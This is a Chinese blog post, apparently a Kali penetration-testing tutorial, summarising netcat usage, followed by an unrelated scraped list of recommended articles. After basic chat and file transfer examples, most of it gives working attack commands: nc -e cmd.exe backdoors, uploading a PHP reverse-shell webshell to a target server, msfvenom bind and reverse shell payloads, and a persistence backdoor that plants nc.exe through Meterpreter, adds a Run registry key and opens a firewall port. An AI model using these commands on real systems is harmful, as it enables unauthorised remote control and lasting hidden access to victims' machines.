1. 基本使用

1.1 聊天工具服务端

nc -lvp 5678

客户端

nc 192.168.1.15 5678

1.2 文件传输接收端

nc -lvp 5555 > a.zip

发送端

nc 192.168.1.5 5678 < cms.zip

1.3 反向后门监听端

nc -lvp 5678

控制端

nc 192.168.1.5 5678 -e cmd.exe

2. 综合使用

2.1 结合php反向后门

控制端启动监听nc -lvp 1234

编辑php反弹shell后门,vi /usr/share/webshells/php/php-reverse-shell.php,修改 $ip和 $port 为控制端的地址和端口 将 php-reverse-shell.php 文件上传至目标服务器中,通过浏览器触发 php-reverse-shell.php 文件路径,在nc终端中的到反弹shell

2.2 结合msfvenom使用windows/shell_hidden_bind_tcp

msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=4444 –f exe > root.exe

nc 192.168.0.103 4444

windows/shell_reverse_tcp

msfvenom –p windows/shell_reverse_tcp lhost=192.168.0.107 lport=8888 –f exe > root.exe

nc -lvp 8888

2.3 做持久化后门使用

将nc.exe上传至目标服务器中指定目录msf > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32

切换到目标cmd环境

msf > shell

# 添加自启动注册表项

C:\WINDOWS> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'

添加nc出入站防火墙规则

C:\WINDOWS> netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

检查nc防火墙是否已经开放

C:\WINDOWS> netsh firewall show portopening

重启目标电脑,使用nc连接

C:\WINDOWS> nc -nv 192.168.0.101 4445

版权属于:逍遥子大表哥

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

kali如何安装netcat_Netcat常用方法汇总相关推荐

  1. kali linux 安装 Mysql Can‘t read from messagefile 报错解决方案

    kali linux 安装 Mysql Can't read from messagefile 报错解决方案 参考文章: (1)kali linux 安装 Mysql Can't read from ...

  2. Kali Linux安装第三方软件

    Kali Linux安装第三方软件 在Kali Linux中,自带了许多渗透测试工具.大学霸IT达人但是,一些工具默认没有安装(如Nessus.OpenVAS),则需要用户手动安装.其中,如果软件源提 ...

  3. Kali Linux安装VMware Tools

    Kali Linux安装VMware Tools VMware Tools可以用来实现物理机与虚拟机之间拖放文件,并且使的虚拟机更加流畅.大学霸IT达人在虚拟机VMware中安装的Kali Linux ...

  4. Kali Linux安装OpenVAS

    Kali Linux安装OpenVAS OpenVAS是一个开放式漏洞评估系统,可以用来实施各种漏洞扫描.但是,大部分系统默认没有安装.一些用户在安装过程中,会碰到各种问题,如扫描服务丢失.初始化失败 ...

  5. Kali Linux安装谷歌输入法

    Kali Linux安装谷歌输入法 大部分人都习惯使用搜狗输入法.很多人想在Kali Linux中安装该输入法.但是,Kali Linux安装搜狗输入法依赖项很难解决.此时,用户可以安装谷歌输入法,其 ...

  6. Kali Linux安装中文输入法

    Kali Linux安装中文输入法 Kali Linux系统安装后,默认没有中文输入法.如果用户需要输入汉字,则需要安装中文输入法.下面将介绍安装小企鹅中文输入法,并进行配置.操作步骤如下所示: (1 ...

  7. Kali Linux安装谷歌浏览器

    Kali Linux安装谷歌浏览器 Kali Linux默认安装的是火狐浏览器.但是,很多人习惯使用谷歌浏览器.在软件源中自带了谷歌浏览器的实验版.用户直接安装即可.默认,谷歌浏览器不允许root用户 ...

  8. Kali Linux安装字典StarDict

     Kali Linux安装字典StarDict StartDict是国外知名的字典框架,也可以加入国内翻译工具的字典.Kali Linux软件源提供该字典框架.用户需要安装qstardict软件包和词 ...

  9. Kali Linux安装Google中文输入法(只需5步)

    前言: 之前我在kali上安装过中文输入法,并且写了一篇博文(Kali Linux安装中文输入法全纪录),这篇博文里的步骤是当时一边摸索一边记录下的,思路有点混乱,而且还同时安装了两种输入法.今天又安 ...

最新文章

  1. scrapy模拟用户登录
  2. 技术图文:Numpy 一维数组 VS. Pandas Series
  3. Java泛型简介–第6部分
  4. node.js async await 配合Promise对象使用
  5. ASP.NET Web Froms开发模式中实现程序集的延迟加载
  6. JSP 编译原理:JSP 是 Servlet?如何用 Eclipse 查看 JSP 编译生成的 Servlet 源文件?
  7. IE下get传中文乱码的问题完美解决方案
  8. 关于jquery获取单选框value属性值为on的问题
  9. Android(java)学习笔记97:使用GridView以及重写BaseAdapter
  10. ubuntu下安装win7虚拟机总结
  11. 疯狂Java讲义P179单例
  12. 非接触式IC卡的分类(三)
  13. 揭秘AI创业江湖里的“师徒帮”:同门师兄弟搭档 导师坐镇后方
  14. 四次考研,终于上岸!反正我感觉很牛逼!
  15. 户用光伏数字化解决方案
  16. 解决ubuntu下外接2k显示器却无法调2k分辨率问题
  17. 算法设计:2.向下取整、向上取整符号
  18. Could not find parameter map com.itcast.mapper.userinfMapper.map
  19. 【时间处理】获取官方节假日数据的api接口,获取指定日期的节假日数据
  20. 读秀更新到V4.0了,会自动提醒验证码输入,支持包库全文下载

热门文章

  1. Python中的高阶函数sorted
  2. 6.Android的学习(Intent跳转页面,活动之间传递数据)
  3. pandas骚操作:分组对数据进行归一化
  4. VTK:灯动画用法实战
  5. JavaScript实现topologicalSort拓扑排序算法(附完整源码)
  6. wxWidgets:设备上下文
  7. boost::uuid模块实现宽流存档测试序列化 uuid的测试程序
  8. 使用 BOOST_PROTO_DEFINE_OPERATORS 使用非原型类型 std::vector<> 对表达式进行原型化的示例
  9. boost::mpl模块实现sort相关的测试程序
  10. boost::mp11::mp_remove相关用法的测试程序